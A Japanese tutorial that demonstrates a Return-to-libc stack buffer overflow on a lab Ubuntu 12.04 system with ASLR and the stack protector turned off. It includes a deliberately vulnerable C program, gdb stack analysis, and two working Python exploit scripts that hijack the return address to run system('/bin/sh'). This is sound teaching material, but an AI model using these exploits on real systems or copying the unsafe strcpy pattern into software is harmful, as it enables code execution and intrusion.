Return-to-libcでDEPを回避してみる

DEPが有効になっていると、データ領域に実行可能ビットが立たなくなるため、スタックに置いたシェルコードを実行させることができなくなる。 しかしこのような場合でも、スタックの状態を調整した上でライブラリ関数にジャンプすることで、関数を実行させることができる。 この方法はReturn-to-libcと呼ばれる。 ここでは、実際にスタックバッファオーバーフローからReturn-to-libcによりシェルを起動してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

バッファサイズ300で、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。 ここでは後で調べる手間を省くために、puts関数とsystem関数のアドレスも表示させておく。

/* bof.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[300] = {};  /* set all bytes to zero */
    printf("buf = %p\n", buf);
    printf("puts = %p\n", puts);
    printf("system = %p\n", system);
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

ASLR、SSPを無効にし、DEPのみを有効にした状態でコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ gcc -fno-stack-protector bof.c

objdumpコマンドで実行ファイルのプログラムヘッダを調べると、STACKのところにxビットが立っていない、つまりスタック領域のデータが実行不可になっていることが確認できる。

$ objdump -x a.out
Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000704 memsz 0x00000704 flags r-x
    LOAD off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12
         filesz 0x0000010c memsz 0x00000114 flags rw-
 DYNAMIC off    0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2
         filesz 0x000000c8 memsz 0x000000c8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x00000604 vaddr 0x08048604 paddr 0x08048604 align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0
         filesz 0x000000ec memsz 0x000000ec flags r--

また、lddコマンドでダイナミックリンクしている共有ライブラリを調べると、libcがリンクされていることがわかる。

$ ldd a.out
        linux-gate.so.1 =>  (0xb7fff000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4d000)
        /lib/ld-linux.so.2 (0x80000000)

ここでは、ジャンプ先としてsystem(3)を使ってシェル起動することを考える。

system関数呼び出し前後の状態を調べてみる

まずは、簡単なプログラムを使ってsystem関数を呼び出した前後の状態を調べてみる。

/* system.c */
#include <stdlib.h>

int main()
{
    system("/bin/sh");
    return 0;
}

コンパイルして、gdbでスタックの状態を調べてみる。

$ gcc system.c
$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x080483e4 <+0>:     push   ebp
   0x080483e5 <+1>:     mov    ebp,esp
   0x080483e7 <+3>:     and    esp,0xfffffff0
   0x080483ea <+6>:     sub    esp,0x10
   0x080483ed <+9>:     mov    DWORD PTR [esp],0x80484d0
   0x080483f4 <+16>:    call   0x8048300 <system@plt>
   0x080483f9 <+21>:    mov    eax,0x0
   0x080483fe <+26>:    leave
   0x080483ff <+27>:    ret
End of assembler dump.
(gdb) b system
Breakpoint 1 at 0x8048300
(gdb) run
Starting program: /home/user/tmp/a.out

Breakpoint 1, 0xb7e6a430 in system () from /lib/i386-linux-gnu/libc.so.6
(gdb) i r esp ebp
esp            0xbffff73c       0xbffff73c
ebp            0xbffff758       0xbffff758
(gdb) x/20wx $esp
0xbffff73c:     0x080483f9      0x080484d0      0x00000000      0x08048409
0xbffff74c:     0xb7fd0ff4      0x08048400      0x00000000      0x00000000
0xbffff75c:     0xb7e444d3      0x00000001      0xbffff7f4      0xbffff7fc
0xbffff76c:     0xb7fdc858      0x00000000      0xbffff71c      0xbffff7fc
0xbffff77c:     0x00000000      0x0804821c      0xb7fd0ff4      0x00000000
(gdb) x/i 0x080483f9
   0x80483f9 <main+21>: mov    eax,0x0
(gdb) x/s 0x080484d0
0x80484d0:       "/bin/sh"
(gdb) x/i 0xb7e444d3
   0xb7e444d3 <__libc_start_main+243>:  mov    DWORD PTR [esp],eax
(gdb) x/s *0xbffff7f4
0xbffff915:      "/home/user/tmp/a.out"
(gdb) x/4s *0xbffff7fc
0xbffff92a:      "SHELL=/bin/bash"
0xbffff93a:      "TERM=xterm-256color"
0xbffff94e:      "SSH_CLIENT=192.168.56.1 56046 22"
0xbffff96f:      "SSH_TTY=/dev/pts/0"
(gdb) b *0x080483f9
Breakpoint 2 at 0x80483f9
(gdb) cont
Continuing.
$

Breakpoint 2, 0x080483f9 in main ()
(gdb) i r esp ebp
esp            0xbffff740       0xbffff740
ebp            0xbffff758       0xbffff758
(gdb) cont
Continuing.
[Inferior 1 (process 11016) exited normally]
(gdb) q

整理すると、次のようになっていることがわかる。

0xbffff73c:
      0x080483f9 (return address from system) <- esp1
0xbffff740:
      0x080484d0 ("/bin/sh") <- esp2
      0x00000000
      0x08048409
      0xb7fd0ff4
      0x08048400
      0x00000000
0xbffff758:
      0x00000000 (saved ebp) <- ebp
      0xb7e444d3 (return address from main)
      0x00000001 (argc)
      0xbffff7f4 (*argv[])
      0xbffff7fc (*envp[])
      0xb7fdc858
      0x00000000
      0xbffff71c
      0xbffff7fc

system関数呼び出し直後のespはesp1であり、system関数が終わるとespにあるリターンアドレスにジャンプし、espはesp2になる。 より詳しく言えば、ret命令が実行されるとespが指すアドレスにジャンプした上でespが1ワード先に進められる。

これらのことより、スタックバッファオーバーフローによりリターンアドレスをsystem関数のアドレスに書き換え、その先が「system関数からのリターンアドレス」「system関数の第一引数」となるようにデータを送り込めばよいことがわかる。

エクスプロイトコードを書いてみる

Pythonで実際にエクスプロイトコードを書いてみる。

# exploit.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)
addr_buf = int(sys.argv[3], 16)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)
buf += 'AAAA'
buf += struct.pack('<I', addr_buf+len(buf)+4)
buf += '/bin/sh'

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードはバッファサイズ、ライブラリ関数のアドレス、バッファの先頭アドレスを順に引数に取り、構築したデータをa.outの第一引数にセットして実行する。

試しに、ライブラリ関数のアドレスとしてputs関数を指定して実行してみる。

$ gcc -fno-stack-protector bof.c
$ python exploit.py 300 0x8048380 0xbffff4f4
buf = 0xbffff4f4
puts = 0x8048380
system = 0x8048390
(snip)
/bin/sh

"/bin/sh" という文字列が出力されていることがわかる。

puts関数の代わりにsystem関数のアドレスを指定してみる。

$ python exploit.py 300 0x8048390 0xbffff4f4
buf = 0xbffff4f4
puts = 0x8048380
system = 0x8048390
(snip)
$

シェルが立ち上がることが確認できた。

共有ライブラリ内の文字列を利用する

先のエクスプロイトコードでは "/bin/sh" という文字列をスタック上に用意したが、共有ライブラリ内に文字列があればそのアドレスを使うこともできる。

実際にstringsコマンドで調べてみる。

$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
   e106 inet6_opt_finish
   eff7 _IO_wdefault_finish
   f5b8 _IO_fflush
  113a8 _IO_file_finish
  11897 bdflush
  11cc5 tcflush
  11f77 _IO_default_finish
 15f405 Trailing backslash
 15f8f8 sys/net/ash
 161d98 /bin/sh
 163d28 /bin/csh
 1a6f1c .gnu.hash

先頭から0x161d98バイトの位置に、"/bin/sh" があることがわかる。

同様にreadelfコマンドまたはnmコマンドでシンボルテーブルを調べることで、system関数の位置も調べられる。

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"
  1422: 0003f430   141 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system

system関数は先頭から0x0003f430バイトの位置にあることがわかる。

実行中のプロセスにおいて共有ライブラリがどのアドレスにロードされているかは、/proc/$PID/maps を見ることで調べられる。 gdbを使うと、次のようにして調べることもできる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048479
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048479 in main ()
(gdb) info proc mappings
process 11085
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/a.out
        0xb7e2a000 0xb7e2b000     0x1000        0x0
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd2000 0xb7fd5000     0x3000        0x0
        0xb7fdb000 0xb7fdd000     0x2000        0x0
        0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) quit
A debugging session is active.

        Inferior 1 [process 11085] will be killed.

Quit anyway? (y or n) y

これより、libcは0xb7e2b000に読み込まれていることがわかる。 このアドレスはベースアドレスと呼ばれることもある。

以上のことより、文字列や関数が実際に配置されるアドレスを次のように求めることができる。

"/bin/sh": 0xb7e2b000 + 0x161d98
system:    0xb7e2b000 + 0x0003f430

共有ライブラリのベースアドレスからのオフセットをもとにしたエクスプロイトコードを書いてみる。

# exploit2.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)

system = libc_base + 0x0003f430
binsh = libc_base + 0x161d98

"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system

$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
 161d98 /bin/sh

(gdb) i proc map
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', system)
buf += 'AAAA'
buf += struct.pack('<I', binsh)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードはバッファサイズ、libcのベースアドレスを順に引数に取る。

ベースアドレスを指定して実行してみる。

$ python exploit2.py 300 0xb7e2b000
buf = 0xbffff4f4
puts = 0x8048380
system = 0x8048390
(snip)
$

スタック上のデータを使わず、シェルが立ち上がることを確認できた。

関連リンク